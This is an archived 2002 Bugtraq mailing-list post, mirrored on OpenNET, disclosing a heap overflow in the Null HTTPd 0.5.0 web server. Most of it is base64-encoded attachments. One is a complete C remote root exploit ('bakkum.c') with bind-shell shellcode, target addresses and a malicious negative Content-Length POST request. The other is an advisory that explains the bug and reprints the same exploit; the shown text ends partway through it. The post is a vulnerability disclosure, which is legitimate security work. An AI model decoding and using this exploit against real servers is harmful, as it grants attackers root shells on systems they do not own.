The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Хинт: Доступна новая система навигации "Дерево ключевых слов" - поиск нужного материала во всех разделах сайта на одной странице.
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

remote exploitable heap overflow in Null HTTPd 0.5.0


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Sun, 22 Sep 2002 23:19:48 -0000
From: Bert Vanmanshoven <sacrine@netric.org>
To: bugtraq@securityfocus.com
Subject: remote exploitable heap overflow in Null HTTPd 0.5.0

----=_b7a38fabb9df835142512664388a1c96f
Content-Type: text/plain
Content-Transfer-Encoding: 8bit

included:
- netric-adv009.txt (advisory)
- bakkum.c          (remote root exploit)


Kind Regards,
Netric Security

http://www.netric.org
________________________________________________
Message sent using UebiMiau
2.7

----=_b7a38fabb9df835142512664388a1c96f
Content-Type: application/octet-stream; name="bakkum.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bakkum.c"

LyogICAgICAgICAgIF8gX19fX19fX18gICAgICAgICAgICBfX19fXyAgICAgICAgICAgICAgICAg
ICAgICAgIF9fX19fXwogICAgX18gX19fIF9fX18gICAgICAgL19fX18uLS0tLS0tYCAgICAvX19f
X19fXy4tLS0tLS0uX19fLi0tLS1gICBfX18vX19fXyBfX19fX19fCiAgICAgICAgIF8vICAgIFwg
XyAgIC9cICAgX18uICBfXy8vICAgX19fL18gICAgX19fLiAgL19cICAgIC9fICAgIHwgICAgIF8v
CiAgIF9fXyAuX1wgICAgLiBcXCAgL19fICBfX19fXy8gXyAgICAvICAgICBcXyAgfCAgICAvX18g
ICAgICB8ICAgX3wgc2xjIHwgX19fX18gXwogICAgICAtIC0tLS0tLS1cX19fX19ffHwtLS5fX19f
X1wtLS0uX19fX19fXy8vLXxfXyAgICAvLy0uX19ffC0tLS0uX19fX198fAoJCQkJCSAgICAgICAv
IFwgICAvCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IFwvCiAiSWYgd2Uga25ldyB3aGF0IGl0IHdhcyB3ZSB3ZXJlIGRvaW5nLCBpdCB3b3VsZCBub3Qg
YmUgY2FsbGVkIHJlc2VhcmNoLCB3b3VsZCBpdD8iIAogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LQogUmVtb3RlIE51bGwgaHR0cGQgMC41LjAgcm9vdCBleHBsb2l0ICAgICAgICBieSBlU0RlZSBv
ZiBOZXRyaWMgKHd3dy5uZXRyaWMub3JnfGJlKQogRnVsbCBhZHZpc29yeSBhdmFpbGFibGUgYXQ6
IGh0dHA6Ly93d3cubmV0cmljLm9yZy9hZHZpc29yaWVzL25ldHJpYy1hZHYwMDkudHh0IAoKKi8K
CiNpbmNsdWRlIDxzdGRpby5oPgojaW5jbHVkZSA8c3RkbGliLmg+CiNpbmNsdWRlIDxuZXRkYi5o
PgojaW5jbHVkZSA8c3lzL3R5cGVzLmg+CiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+CiNpbmNsdWRl
IDxuZXRpbmV0L2luLmg+CiNpbmNsdWRlIDxzdHJpbmcuaD4KI2luY2x1ZGUgImdldG9wdC5oIgoK
c3RydWN0IHsKICAgICAgICBjaGFyICp0eXBlOwogICAgICAgIHVuc2lnbmVkIGludCByZXRsb2M7
CiAgICAgICAgdW5zaWduZWQgaW50IHJldDsKCn0gdGFyZ2V0c1tdID0geyAvKiBUaGFua3MgdG96
eiA7KSAqLwogICAgICAgIHsgIk51bGwgaHR0cGQgMC41LjAgKFJlZGhhdCA3LjMpIiwgMHgwODA0
ZjMzNCwgMHgwODA0ZmJkMSB9LAogICAgICAgIHsgIkNyYXNoICAgICAgICAgKEFsbCBwbGF0Zm9y
bXMpIiwgMHhiMGVmYjBlZiwgMHhiMGVmYjBlZiB9LAp9OwoKY2hhciBzaGVsbGNvZGVbXSA9IC8q
IHNoZWxsY29kZSBieSBSMDBULWR1ZGUgKGlsamFAbmV0cmljLm9yZykgKi8KICAgICAgICAiXHhl
Ylx4MGEtLW5ldHJpYy0tIgogICAgICAgICJceDMxXHhjMFx4MzFceGRiXHgzMVx4YzlceDMxXHhk
Mlx4YjBceDY2XHhiM1x4MDFceDUxXHhiMVx4MDZceDUxIgogICAgICAgICJceGIxXHgwMVx4NTFc
eGIxXHgwMlx4NTFceDhkXHgwY1x4MjRceGNkXHg4MFx4YjNceDAyXHhiMVx4MDJceDMxIgogICAg
ICAgICJceGM5XHg1MVx4NTFceDUxXHg4MFx4YzFceDc3XHg2Nlx4NTFceGIxXHgwMlx4NjZceDUx
XHg4ZFx4MGNceDI0IgogICAgICAgICJceGIyXHgxMFx4NTJceDUxXHg1MFx4OGRceDBjXHgyNFx4
ODlceGMyXHgzMVx4YzBceGIwXHg2Nlx4Y2RceDgwIgogICAgICAgICJceGIzXHgwMVx4NTNceDUy
XHg4ZFx4MGNceDI0XHgzMVx4YzBceGIwXHg2Nlx4ODBceGMzXHgwM1x4Y2RceDgwIgogICAgICAg
ICJceDMxXHhjMFx4NTBceDUwXHg1Mlx4OGRceDBjXHgyNFx4YjNceDA1XHhiMFx4NjZceGNkXHg4
MFx4ODlceGMzIgogICAgICAgICJceDMxXHhjOVx4MzFceGMwXHhiMFx4M2ZceGNkXHg4MFx4NDFc
eDMxXHhjMFx4YjBceDNmXHhjZFx4ODBceDQxIgogICAgICAgICJceDMxXHhjMFx4YjBceDNmXHhj
ZFx4ODBceDMxXHhkYlx4NTNceDY4XHg2ZVx4MmZceDczXHg2OFx4NjhceDJmIgogICAgICAgICJc
eDJmXHg2Mlx4NjlceDg5XHhlM1x4OGRceDU0XHgyNFx4MDhceDMxXHhjOVx4NTFceDUzXHg4ZFx4
MGNceDI0IgogICAgICAgICJceDMxXHhjMFx4YjBceDBiXHhjZFx4ODBceDMxXHhjMFx4YjBceDAx
XHhjZFx4ODAiOwoKaW50IHNvY2s7Cgp2b2lkIHNoZWxsKCk7CnZvaWQgdXNhZ2UoKTsKCnZvaWQg
dXNhZ2UoY2hhciAqcHJvZykKewogICAgICAgIGZwcmludGYoc3RkZXJyLCJVc2FnZTogJXMgPC1o
IGhvc3Q+IDwtdCB0eXBlPiBbLXAgcG9ydF1cbiIsIHByb2cpOwogICAgICAgIGV4aXQoMSk7Cn0K
CnZvaWQgc2hlbGwoKQp7CiAgICAgICAgZmRfc2V0ICBmZF9yZWFkOwogICAgICAgIGNoYXIgYnVm
ZlsxMDI0XSwgKmNtZD0iL2Jpbi91bmFtZSAtYTsvdXNyL2Jpbi9pZDtcbiI7CiAgICAgICAgaW50
IG47CgogICAgICAgIEZEX1pFUk8oJmZkX3JlYWQpOwogICAgICAgIEZEX1NFVChzb2NrLCAmZmRf
cmVhZCk7CiAgICAgICAgRkRfU0VUKDAsICZmZF9yZWFkKTsKCiAgICAgICAgc2VuZChzb2NrLCBj
bWQsIHN0cmxlbihjbWQpLCAwKTsKICAgICAgICB3aGlsZSgxKSB7CiAgICAgICAgICAgICAgICBG
RF9TRVQoc29jaywmZmRfcmVhZCk7CiAgICAgICAgICAgICAgICBGRF9TRVQoMCwmZmRfcmVhZCk7
CiAgICAgICAgICAgICAgICBpZihzZWxlY3Qoc29jaysxLCZmZF9yZWFkLE5VTEwsTlVMTCxOVUxM
KTwwKSBicmVhazsKICAgICAgICAgICAgICAgIGlmKCBGRF9JU1NFVChzb2NrLCAmZmRfcmVhZCkg
KSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKChuPXJlY3Yoc29jayxidWZmLHNpemVvZihi
dWZmKSwwKSk8MCl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnByaW50ZihzdGRl
cnIsICJFT0ZcbiIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQoMik7CiAg
ICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYod3JpdGUo
MSxidWZmLG4pPDApYnJlYWs7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaWYg
KCBGRF9JU1NFVCgwLCAmZmRfcmVhZCkgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKChu
PXJlYWQoMCxidWZmLHNpemVvZihidWZmKSkpPDApewogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIGZwcmludGYoc3RkZXJyLCJFT0ZcbiIpOwogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIGV4aXQoMik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAg
ICAgICAgICAgaWYoc2VuZChzb2NrLGJ1ZmYsbiwwKTwwKSBicmVhazsKICAgICAgICAgICAgICAg
IH0KICAgICAgICAgICAgICAgIHVzbGVlcCgxMCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAg
ZnByaW50ZihzdGRlcnIsIkNvbm5lY3Rpb24gbG9zdC5cblxuIik7CiAgICAgICAgZXhpdCgwKTsK
fQoKaW50Cm9wZW5ob3N0KGNoYXIgKmhvc3QsaW50IHBvcnQpCnsKICAgICAgICBzdHJ1Y3Qgc29j
a2FkZHJfaW4gYWRkcjsKICAgICAgICBzdHJ1Y3QgaG9zdGVudCAqaGU7CgogICAgICAgIGhlPWdl
dGhvc3RieW5hbWUoaG9zdCk7CgogICAgICAgIGlmIChoZT09TlVMTCkgcmV0dXJuIC0xOwogICAg
ICAgIHNvY2s9c29ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgidGNw
IiktPnBfcHJvdG8pOwogICAgICAgIGlmIChzb2NrPT0tMSkgcmV0dXJuIC0xOwoKICAgICAgICBt
ZW1jcHkoJmFkZHIuc2luX2FkZHIsIGhlLT5oX2FkZHIsIGhlLT5oX2xlbmd0aCk7CgogICAgICAg
IGFkZHIuc2luX2ZhbWlseT1BRl9JTkVUOwogICAgICAgIGFkZHIuc2luX3BvcnQ9aHRvbnMocG9y
dCk7CgogICAgICAgIGlmKGNvbm5lY3Qoc29jaywgKHN0cnVjdCBzb2NrYWRkciAqKSZhZGRyLCBz
aXplb2YoYWRkcikpID09IC0xKSBzb2NrPS0xOwogICAgICAgIHJldHVybiBzb2NrOwp9CgppbnQK
ZXhwbG9pdChjaGFyICpob3N0LCBpbnQgcG9ydCwgaW50IHR5cGUpCnsKICAgICAgICBjaGFyIHNl
bmRidWZbNTAwXTsKICAgICAgICBjaGFyIGJ1ZmZlclszNzddOwogICAgICAgIGludCBpPTA7CiAg
ICAgICAgaW50IHNvY2syOwoKICAgICAgICBzb2NrPW9wZW5ob3N0KGhvc3QsIHBvcnQpOwoKICAg
ICAgICBpZiAoc29jaz09LTEpIHsKICAgICAgICAgICAgICAgIGZwcmludGYoc3RkZXJyLCJVbmFi
bGUgdG8gY29ubmVjdC5cblxuIik7CiAgICAgICAgICAgICAgICBleGl0KDEpOwogICAgICAgIH0K
CiAgICAgICAgZnByaW50ZihzdGRvdXQsICJBdHRhY2tpbmcgKCVzKSAuLi5cbiIsIGhvc3QpOwoJ
bWVtc2V0KGJ1ZmZlciwgMHhiZiwgc2l6ZW9mKGJ1ZmZlcikgLSAxKTsKCglmb3IoaT0wO2k8Mzc2
O2k9aSs0KSAKCXsKCQlidWZmZXJbaV0gICA9IDB4YmY7IC8qIG11c3QgYmUgYSB2YWxpZCBwb2lu
dGVyICovCgkJYnVmZmVyW2krMV0gPSAweGZmOwoJCWJ1ZmZlcltpKzJdID0gMHhiMDsKCQlidWZm
ZXJbaSszXSA9IDB4ZWY7Cgl9CgogICAgICAgIG1lbWNweShidWZmZXIsIHNoZWxsY29kZSwgc3Ry
bGVuKHNoZWxsY29kZSkpOwoKICAgICAgICBidWZmZXJbMzU5XSA9IDB4ZmY7IC8qIHByZXZfc2l6
ZSAqLwogICAgICAgIGJ1ZmZlclszNjBdID0gMHhmZjsKICAgICAgICBidWZmZXJbMzYxXSA9IDB4
ZmY7CiAgICAgICAgYnVmZmVyWzM2Ml0gPSAweGZmOwoKICAgICAgICBidWZmZXJbMzYzXSA9IDB4
ZmM7IC8qIHNpemUgZmllbGQgKi8KICAgICAgICBidWZmZXJbMzY0XSA9IDB4ZmY7CiAgICAgICAg
YnVmZmVyWzM2NV0gPSAweGZmOwogICAgICAgIGJ1ZmZlclszNjZdID0gMHhmZjsKCiAgICAgICAg
YnVmZmVyWzM2OF0gPSAodGFyZ2V0c1t0eXBlIC0gMV0ucmV0bG9jICYgMHgwMDAwMDBmZik7IC8q
IEZEICovCiAgICAgICAgYnVmZmVyWzM2OV0gPSAodGFyZ2V0c1t0eXBlIC0gMV0ucmV0bG9jICYg
MHgwMDAwZmYwMCkgPj4gODsKICAgICAgICBidWZmZXJbMzcwXSA9ICh0YXJnZXRzW3R5cGUgLSAx
XS5yZXRsb2MgJiAweDAwZmYwMDAwKSA+PiAxNjsKICAgICAgICBidWZmZXJbMzcxXSA9ICh0YXJn
ZXRzW3R5cGUgLSAxXS5yZXRsb2MgJiAweGZmMDAwMDAwKSA+PiAyNDsKCiAgICAgICAgYnVmZmVy
WzM3Ml0gPSAodGFyZ2V0c1t0eXBlIC0gMV0ucmV0ICYgMHgwMDAwMDBmZik7IC8qIEJLICovCiAg
ICAgICAgYnVmZmVyWzM3M10gPSAodGFyZ2V0c1t0eXBlIC0gMV0ucmV0ICYgMHgwMDAwZmYwMCkg
Pj4gODsKICAgICAgICBidWZmZXJbMzc0XSA9ICh0YXJnZXRzW3R5cGUgLSAxXS5yZXQgJiAweDAw
ZmYwMDAwKSA+PiAxNjsKICAgICAgICBidWZmZXJbMzc1XSA9ICh0YXJnZXRzW3R5cGUgLSAxXS5y
ZXQgJiAweGZmMDAwMDAwKSA+PiAyNDsKCiAgICAgICAgYnVmZmVyWzM3Nl0gPSAweDA7CgogICAg
ICAgIHNucHJpbnRmKHNlbmRidWYsIHNpemVvZihzZW5kYnVmKSAtMSwgIlBPU1QgLyBIVFRQLzEu
MFxuIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkNvbnRl
bnQtTGVuZ3RoOiAtODAwXG4iCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAiXG5cbiVzXG4iLGJ1ZmZlcik7CgogICAgICAgIHdyaXRlKHNvY2ssIHNlbmRidWYs
IHN0cmxlbihzZW5kYnVmKSk7CgogICAgICAgIHNsZWVwKDQpOwogICAgICAgIGNsb3NlKHNvY2sp
OwoKICAgICAgICBzb2NrPW9wZW5ob3N0KGhvc3QsIDMwNDY0KTsKICAgICAgICBpZiAoc29jaz09
LTEpIHsKICAgICAgICAgICAgICAgIGZwcmludGYoc3RkZXJyLCJGYWlsZWQuXG5cbiIpOwogICAg
ICAgICAgICAgICAgZXhpdCgxKTsKICAgICAgICB9CgoJZnByaW50ZihzdGRvdXQsICJFeHBsb2l0
IHN1Y2Nlc3NmdWwhXG4iKTsKICAgICAgICBmcHJpbnRmKHN0ZG91dCwgIi0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIik7
CiAgICAgICAgc2hlbGwoc29jayk7CiAgICAgICAgY2xvc2Uoc29jayk7CiAgICAgICAgcmV0dXJu
IDA7Cn0KCmludAptYWluIChpbnQgYXJnYyxjaGFyICphcmd2W10pCnsKICAgICAgICBjaGFyIGhv
c3RbMjU2XTsKICAgICAgICBpbnQgaSxvcHQsdHlwZT0wLHBvcnQ9ODA7CgogICAgICAgIGZwcmlu
dGYoc3Rkb3V0LCJOdWxsIGh0dHBkIDAuNS4wIHJlbW90ZSByb290IGV4cGxvaXQgICAgICAgICAg
ICBieSBlU0RlZSBvZiBOZXRyaWNcbiIpOwogICAgICAgIGZwcmludGYoc3Rkb3V0LCItLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSh3d3cubmV0cmljLm9y
ZylcbiIpOwoKICAgICAgICBtZW1zZXQoaG9zdCwgMHgwLCBzaXplb2YoaG9zdCkpOwoKICAgICAg
ICB3aGlsZSgob3B0PWdldG9wdChhcmdjLGFyZ3YsImg6cDp0OiIpKSAhPUVPRikKICAgICAgICB7
CiAgICAgICAgICAgICAgICBzd2l0Y2gob3B0KQogICAgICAgICAgICAgICAgewogICAgICAgICAg
ICAgICAgICAgICAgICBjYXNlICdoJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dHJuY3B5KGhvc3QsIG9wdGFyZywgc2l6ZW9mKGhvc3QpIC0gMSk7CiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ3AnOgog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvcnQ9YXRvaShvcHRhcmcpOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgocG9ydCA8PSAwKSB8fCAocG9ydCA+IDY1NTM1
KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnByaW50ZihzdGRl
cnIsIkludmFsaWQgcG9ydC5cblxuIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICByZXR1cm4gLTE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAg
ICBjYXNlICd0JzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlPWF0b2kob3B0
YXJnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAodHlwZSA9PSAwIHx8IHR5
cGUgPiBzaXplb2YodGFyZ2V0cykvMTIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIGZvcihpID0gMDsgaSA8IHNpemVvZih0YXJnZXRzKS8xMjsgaSsrKQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmcHJpbnRmKHN0ZGVyciwg
IiVkLiAlc1x0ICgweCUwOHggLSAweCUwOHgpXG4iLAogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaSArIDEsCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0YXJn
ZXRzW2ldLnR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICB0YXJnZXRzW2ldLnJldCx0YXJnZXRzW2ldLnJldGxvYyk7CiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmcHJpbnRmKHN0ZGVyciwgIlxu
Iik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gLTE7CiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIHVzYWdlKGFyZ3ZbMF0pOwogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQoKICAgICAgICB9CgogICAgICAg
IGlmIChzdHJsZW4oaG9zdCkgPT0gMCkgdXNhZ2UoYXJndlswXSk7CgogICAgICAgIGlmICghdHlw
ZSkgewogICAgICAgICAgICAgICAgZnByaW50ZihzdGRlcnIsICJObyB0YXJnZXQgZ2l2ZW4sIHVz
ZSAtdDAgZm9yIGEgbGlzdC5cblxuIik7CiAgICAgICAgICAgICAgICByZXR1cm4gLTE7CiAgICAg
ICAgfQoKICAgICAgICBpZiAoZXhwbG9pdChob3N0LCBwb3J0LCB0eXBlKSA8IDApIHsKICAgICAg
ICAgICAgICAgIGZwcmludGYoc3RkZXJyLCAiRmFpbGVkLlxuXG4iKTsKICAgICAgICAgICAgICAg
IHJldHVybiAtMTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAwOwp9Cg==


----=_b7a38fabb9df835142512664388a1c96f
Content-Type: text/plain; name="netric-adv009.txt"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="netric-adv009.txt"

TmV0cmljIFNlY3VyaXR5IFRlYW0gLSBodHRwOi8vd3d3Lm5ldHJpYy5bb3JnfGJlXQpCeSBOZXRy
aWMKCk51bGxodHRwZCAwLjUuMAp0eXBlOiBoZWFwIG92ZXJmbG93CgpQcmlvcml0eTogMQoKWzFd
IERlc2NyaXB0aW9uClsyXSBWdWxuZXJhYmxlClszXSBFeHBsb2l0Cls0XSBQcm9vZiBvZiBjb25j
ZXB0Cls1XSBWZW5kb3IgcmVzcG9uc2UKWzZdIFBhdGNoZXMKClsxXSBEZXNjcmlwdGlvbgoKCSBO
dWxsIGh0dHBkIGlzIGEgdmVyeSBzbWFsbCwgc2ltcGxlIGFuZCBtdWx0aXRocmVhZGVkIHdlYiBz
ZXJ2ZXIgZm9yIExpbnV4IGFuZCBXaW5kb3dzLAoJIFdoaWNoIGNvbnRhaW5zIGEgcmVtb3RlIGV4
cGxvaXRhYmxlIGhlYXAgb3ZlcmZsb3csIHdoZW4gbmVnYXRpdmUgQ29udGVudC1MZW5ndGggdmFs
dWVzCgkgYXJlIHRyYW5zbWl0dGVkLiBUaGUgZXhwbG9pdGFibGUgY29kZSBsb29rcyBsaWtlOgoK
CgoJdHlwZWRlZiBzdHJ1Y3QgewogICAgICAgIAkvLyBpbmNvbWluZyBkYXRhCiAgICAgICAgCS4u
LgoJCS8vIG91dGdvaW5nIGRhdGEKICAgICAgICAJLi4uCgkJLyogdGhpcyBpbnQgaXMgc2lnbmVk
LCBhbmQgY2FuIHRodXMgY29udGFpbiBuZWdhdGl2ZSB2YWx1ZXMgKi8KCQlpbnQgIG91dF9Db250
ZW50TGVuZ3RoOwoJCS4uLgoJfSBDT05OREFUQTsKCgl0eXBlZGVmIHN0cnVjdCB7CgkgICAgICAg
IC4uLgoJCWNoYXIgKlBvc3REYXRhOwoJCS4uLgoJfSBDT05ORUNUSU9OOwoKCglpbnQgcmVhZF9o
ZWFkZXIoaW50IHNpZCkKCXsKICAgICAgICAJY2hhciBsaW5lWzIwNDhdOwoJCS4uLgoJCXNnZXRz
KGxpbmUsIHNpemVvZihsaW5lKS0xLCBjb25uW3NpZF0uc29ja2V0KTsKCQkuLi4KCQkgaWYgKHN0
cm5jYXNlY21wKGxpbmUsICJDb250ZW50LUxlbmd0aDogIiwgMTYpPT0wKQogICAgICAgICAgICAg
ICAgICAgICAgICBjb25uW3NpZF0uZGF0LT5pbl9Db250ZW50TGVuZ3RoPWF0b2koKGNoYXIgKikm
bGluZSsxNik7CgkJLi4uCgkJaWYgKHN0cmNtcChjb25uW3NpZF0uZGF0LT5pbl9SZXF1ZXN0TWV0
aG9kLCAiUE9TVCIpPT0wKSB7CgkJCWlmIChjb25uW3NpZF0uZGF0LT5pbl9Db250ZW50TGVuZ3Ro
PE1BWF9QT1NUU0laRSkgewoJCQkJUmVhZFBPU1REYXRhKHNpZCk7CgkJCX0KCQkJLi4uCgkJfQoJ
CS4uLgoJfQoKCgl2b2lkIFJlYWRQT1NURGF0YShpbnQgc2lkKSB7CgkgICAgICAgIGNoYXIgKnBQ
b3N0RGF0YTsKCQkuLi4KCQkvKiBoZXJlIGlzIHdoZXJlIHRoZSBiYWQgYm91bmRjaGVja2luZyBo
YXBwZW5zICovCgkJY29ubltzaWRdLlBvc3REYXRhPWNhbGxvYyhjb25uW3NpZF0uZGF0LT5pbl9D
b250ZW50TGVuZ3RoKzEwMjQsIHNpemVvZihjaGFyKSk7CgkJLi4uCgkJcFBvc3REYXRhPWNvbm5b
c2lkXS5Qb3N0RGF0YTsKCQkuLi4KCQkvKiBUaGlzIGlzIHdoZXJlIHRoZSBvdmVyZmxvdyBoYXBw
ZW5zICovCgkJcmVjdihjb25uW3NpZF0uc29ja2V0LCBwUG9zdERhdGEsIDEwMjQsIDApOwoJCS4u
LgoJfQoKCglhcyB5b3UgY2FuIHNlZSwgd2UgY2FuIGNoYW5nZSB0aGUgc2l6ZSBvZiB0aGUgYnVm
ZmVyIHRoYXQgd2lsbCBjb250YWluIFBPU1QnZWQgZGF0YSwKCWJvdGggd2l0aCBhIHBvc2l0aXZl
IGFuZCBhIG5lZ2F0aXZlIHZhbHVlLCB3aGljaCBtZWFucyB0aGF0IHdlIGNhbiBjaGFuZ2UgdGhl
IHNpemUgb2YKCXRoYXQgYnVmZmVyIHRvIDxuZWdhdGl2ZSB2YWx1ZT4gKyAxMDI0LCBhbmQgMTAy
NCBieXRlcyBnZXQgcmVhZCBhbnl3YXkgKHdoaWNoIHdpbGwKCWNhdXNlIGFuIG92ZXJmbG93KS4K
CgpbMl0gVnVsbmVyYWJsZQoKCVRoZSBOdWxsaHR0cGQgc2l0ZSBzYXlzIHRoYXQgTnVsbGh0dHBk
IHdvcmtzIG9uIHRoZSBmb2xsb3dpbmc6CgoJTmFtZQkJVnVsbmVyYWJsZQkJRXhwbG9pdGFibGUK
CSogTGludXgJCVlFUwkJCVlFUwoJKiB3aW4zMgkJcHJvYmFibHkgKG5vdCB0ZXN0ZWQpCXByb2Jh
Ymx5IChub3QgdGVzdGVkKQoKCVRoaXMgdnVsbmVyYWJpbGl0eSB3YXMgZGlzY292ZXJlZCBpbiBO
dWxsaHR0cGQgMC41LjAgYnV0IHByZXZpb3VzIHZlcnNpb24gYXJlCglwcm9iYWJseSB2dWxuZXJh
YmxlIHRvby4KCgpbM10gRXhwbG9pdAoKCVRoZSBmb2xsb3dpbmcgZXhwbG9pdCB3YXMgdGVzdGVk
IGluIGEgbGFiIGFuZCBtaWdodCBub3Qgd29yayB3aXRob3V0IGFueSB0d2Vha2luZy4KCWl0IHdh
cyB0ZXN0ZWQgb24gYSBzZXZlcmFsIFJlZEhhdCA3Lnggc3lzdGVtcy4gKHg4NikKCgk8LS0+IEJF
R0lOIE9GIEZJTEUgPC0tPgoJI2luY2x1ZGUgPHN0ZGlvLmg+CgkjaW5jbHVkZSA8c3RkbGliLmg+
CgkjaW5jbHVkZSA8bmV0ZGIuaD4KCSNpbmNsdWRlIDxzeXMvdHlwZXMuaD4KCSNpbmNsdWRlIDxz
eXMvc29ja2V0Lmg+CgkjaW5jbHVkZSA8bmV0aW5ldC9pbi5oPgoJI2luY2x1ZGUgPHN0cmluZy5o
PgoJI2luY2x1ZGUgImdldG9wdC5oIgoJCglzdHJ1Y3QgewoJICAgICAgICBjaGFyICp0eXBlOwoJ
ICAgICAgICB1bnNpZ25lZCBpbnQgcmV0bG9jOwoJICAgICAgICB1bnNpZ25lZCBpbnQgcmV0OwoJ
Cgl9IHRhcmdldHNbXSA9IHsgLyogVGhhbmtzIHRvenogOykgKi8KCSAgICAgICAgeyAiTnVsbCBo
dHRwZCAwLjUuMCAoUmVkaGF0IDcuMykiLCAweDA4MDRmMzM0LCAweDA4MDRmYmQxIH0sCgkgICAg
ICAgIHsgIkNyYXNoICAgICAgICAgKEFsbCBwbGF0Zm9ybXMpIiwgMHhiMGVmYjBlZiwgMHhiMGVm
YjBlZiB9LAoJfTsKCQoJY2hhciBzaGVsbGNvZGVbXSA9IC8qIHNoZWxsY29kZSBieSBSMDBULWR1
ZGUgKGlsamFAbmV0cmljLm9yZykgKi8KCSAgICAgICAgIlx4ZWJceDBhLS1uZXRyaWMtLSIKICAg
ICAgICAJIlx4MzFceGMwXHgzMVx4ZGJceDMxXHhjOVx4MzFceGQyXHhiMFx4NjZceGIzXHgwMVx4
NTFceGIxXHgwNlx4NTEiCiAgICAgICAgCSJceGIxXHgwMVx4NTFceGIxXHgwMlx4NTFceDhkXHgw
Y1x4MjRceGNkXHg4MFx4YjNceDAyXHhiMVx4MDJceDMxIgogICAgICAgIAkiXHhjOVx4NTFceDUx
XHg1MVx4ODBceGMxXHg3N1x4NjZceDUxXHhiMVx4MDJceDY2XHg1MVx4OGRceDBjXHgyNCIKICAg
ICAgICAJIlx4YjJceDEwXHg1Mlx4NTFceDUwXHg4ZFx4MGNceDI0XHg4OVx4YzJceDMxXHhjMFx4
YjBceDY2XHhjZFx4ODAiCiAgICAgICAgCSJceGIzXHgwMVx4NTNceDUyXHg4ZFx4MGNceDI0XHgz
MVx4YzBceGIwXHg2Nlx4ODBceGMzXHgwM1x4Y2RceDgwIgogICAgICAgIAkiXHgzMVx4YzBceDUw
XHg1MFx4NTJceDhkXHgwY1x4MjRceGIzXHgwNVx4YjBceDY2XHhjZFx4ODBceDg5XHhjMyIKICAg
ICAgICAJIlx4MzFceGM5XHgzMVx4YzBceGIwXHgzZlx4Y2RceDgwXHg0MVx4MzFceGMwXHhiMFx4
M2ZceGNkXHg4MFx4NDEiCiAgICAgICAgCSJceDMxXHhjMFx4YjBceDNmXHhjZFx4ODBceDMxXHhk
Ylx4NTNceDY4XHg2ZVx4MmZceDczXHg2OFx4NjhceDJmIgogICAgICAgIAkiXHgyZlx4NjJceDY5
